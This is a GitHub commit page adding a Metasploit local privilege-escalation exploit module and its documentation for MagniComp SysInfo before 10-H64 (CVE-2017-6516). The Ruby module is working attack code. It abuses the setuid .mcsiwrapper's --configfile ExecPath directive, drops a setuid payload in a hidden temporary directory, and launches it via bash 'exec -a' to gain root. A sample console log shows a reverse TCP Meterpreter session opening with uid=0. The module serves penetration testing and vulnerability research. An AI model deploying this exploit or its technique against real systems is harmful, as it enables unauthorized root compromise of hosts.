Skip to content

Commit 74c6e21

Browse files
committed
Lands rapid7#9504, MagniComp SysInfo privilege escalation
2 parents b9c1a64 + 1177efe commit 74c6e21

File tree

2 files changed

+247
-0
lines changed

2 files changed

+247
-0
lines changed
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on systems running MagniComp SysInfo versions prior to 10-H64.
4+
5+
6+
## Vulnerable Application
7+
8+
[MagniComp SysInfo](https://www.magnicomp.com/sysinfo/) is a single system agent and viewer providing extensive IT asset inventory and configuration information for most major Linux, UNIX, Apple Macintosh, and Microsoft Windows platforms as well as leading NAS and SAN Storage Systems and logical volume software solutions.
9+
10+
The `.mcsiwrapper` suid executable allows loading a config file using the `--configfile` argument. The `ExecPath` config directive is used to set the executable load path. This module abuses this functionality to set the load path resulting in execution of arbitrary code as root.
11+
12+
This module has been tested successfully on SysInfo:
13+
14+
* 10-GA on Solaris 10u11 x86
15+
* 10-H10 on Debian 8 x86_64
16+
* 10-H32 on Fedora 27 x86_64
17+
* 10-H63 on Fedora 20 x86_64
18+
19+
20+
Installers:
21+
22+
* https://www.magnicomp.com/cgi-bin/mcdownload.cgi
23+
* https://www.magnicomp.com/cgi-bin/mcdownload.cgi/Action=ListDDF
24+
25+
26+
## Verification Steps
27+
28+
1. Start `msfconsole`
29+
2. Get a session
30+
3. Do: `use exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc`
31+
4. Do: `set SESSION [SESSION]`
32+
5. Do: `check`
33+
6. Do: `run`
34+
7. You should get a new *root* session
35+
36+
37+
## Options
38+
39+
**SESSION**
40+
41+
Which session to use, which can be viewed with `sessions`
42+
43+
**SYSINFO_DIR**
44+
45+
Path to SysInfo directory (default: `/opt/sysinfo`)
46+
47+
**WritableDir**
48+
49+
A writable directory file system path. (default: `/tmp`)
50+
51+
52+
## Scenarios
53+
54+
```
55+
msf > use exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc
56+
msf exploit(multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc) > set session 1
57+
session => 1
58+
msf exploit(multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc) > run
59+
60+
[*] Started reverse TCP handler on 172.16.191.244:4444
61+
[*] Using target: Linux
62+
[*] Writing '/tmp/.0rk4PC/vFdxxuBVkh' (21 bytes) ...
63+
[*] Writing '/tmp/.0rk4PC/eoGVzYwGa' (207 bytes) ...
64+
[*] Executing payload...
65+
[*] Sending stage (857352 bytes) to 172.16.191.137
66+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:42229) at 2018-02-05 07:38:35 -0500
67+
[+] Deleted /tmp/.0rk4PC/vFdxxuBVkh
68+
[+] Deleted /tmp/.0rk4PC/eoGVzYwGa
69+
[+] Deleted /tmp/.0rk4PC
70+
71+
meterpreter > getuid
72+
Server username: uid=0, gid=1000, euid=1000, egid=1000
73+
meterpreter > sysinfo
74+
Computer : localhost.localdomain
75+
OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64)
76+
Architecture : x64
77+
BuildTuple : i486-linux-musl
78+
Meterpreter : x86/linux
79+
meterpreter >
80+
```
81+
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
16+
'Description' => %q{
17+
This module attempts to gain root privileges on systems running
18+
MagniComp SysInfo versions prior to 10-H64.
19+
20+
The .mcsiwrapper suid executable allows loading a config file using the
21+
'--configfile' argument. The 'ExecPath' config directive is used to set
22+
the executable load path. This module abuses this functionality to set
23+
the load path resulting in execution of arbitrary code as root.
24+
25+
This module has been tested successfully with SysInfo version
26+
10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on
27+
Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'Daniel Lawson', # Discovery and exploit
33+
'Romain Trouve', # Discovery and exploit
34+
'Brendan Coles' # Metasploit
35+
],
36+
'DisclosureDate' => 'Sep 23 2016',
37+
'Platform' => %w(linux solaris),
38+
'Arch' => [ ARCH_X86, ARCH_X64 ],
39+
'SessionTypes' => [ 'shell', 'meterpreter' ],
40+
'Targets' =>
41+
[
42+
[ 'Automatic', { } ],
43+
[ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
44+
[ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ]
45+
],
46+
'References' =>
47+
[
48+
[ 'CVE', '2017-6516' ],
49+
[ 'BID', '96934' ],
50+
[ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
51+
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
52+
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
53+
]
54+
))
55+
register_options(
56+
[
57+
OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
58+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
59+
])
60+
end
61+
62+
def sysinfo_dir
63+
datastore['SYSINFO_DIR']
64+
end
65+
66+
def check
67+
unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true'
68+
vprint_good "Directory '#{sysinfo_dir}' does not exist"
69+
return CheckCode::Safe
70+
end
71+
vprint_good "Directory '#{sysinfo_dir}' exists"
72+
73+
mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
74+
unless setuid? mcsiwrapper_path
75+
vprint_error "#{mcsiwrapper_path} is not setuid"
76+
return CheckCode::Safe
77+
end
78+
vprint_good "#{mcsiwrapper_path} is setuid"
79+
80+
bash_path = cmd_exec 'which bash'
81+
unless bash_path.start_with?('/') && bash_path.include?('bash')
82+
vprint_error 'bash is not installed. Exploitation will fail.'
83+
return CheckCode::Safe
84+
end
85+
vprint_good 'bash is installed'
86+
87+
config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg"
88+
version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
89+
if version.blank?
90+
vprint_error 'Could not determine the SysInfo version'
91+
return CheckCode::Detected
92+
end
93+
if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64')
94+
vprint_error "SysInfo version #{version} is not vulnerable"
95+
return CheckCode::Safe
96+
end
97+
vprint_good "SysInfo version #{version} is vulnerable"
98+
99+
CheckCode::Vulnerable
100+
end
101+
102+
def upload(path, data)
103+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
104+
rm_f path
105+
write_file path, data
106+
register_file_for_cleanup path
107+
end
108+
109+
def mkdir(path)
110+
vprint_status "Creating '#{path}' directory"
111+
cmd_exec "mkdir -p #{path}"
112+
register_dir_for_cleanup path
113+
end
114+
115+
def exploit
116+
check_status = check
117+
if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected
118+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
119+
end
120+
121+
# Set target
122+
uname = cmd_exec 'uname'
123+
vprint_status "Operating system is #{uname}"
124+
if target.name.eql? 'Automatic'
125+
case uname
126+
when /SunOS/i
127+
my_target = targets[1]
128+
when /Linux/i
129+
my_target = targets[2]
130+
else
131+
fail_with Failure::NoTarget, 'Unable to automatically select a target'
132+
end
133+
else
134+
my_target = target
135+
end
136+
print_status "Using target: #{my_target.name}"
137+
138+
# Check payload
139+
if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
140+
(my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
141+
fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
142+
end
143+
144+
# Create a working directory
145+
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}"
146+
mkdir base_path
147+
148+
# Write config file
149+
config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}"
150+
upload config_path, "ExecPath=#{base_path}"
151+
152+
# Upload payload
153+
payload_name = rand_text_alphanumeric rand(5..10)
154+
payload_path = "#{base_path}/#{payload_name}"
155+
upload payload_path, generate_payload_exe
156+
cmd_exec "chmod u+sx '#{payload_path}'"
157+
158+
print_status 'Executing payload...'
159+
160+
# Executing .mcsiwrapper directly errors:
161+
# Command ".mcsiwrapper" cannot start with `.' or contain `/'.
162+
# Instead, we execute with bash to replace ARGV[0] with the payload file name
163+
output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\""
164+
output.each_line { |line| vprint_status line.chomp }
165+
end
166+
end

0 commit comments

Comments
 (0)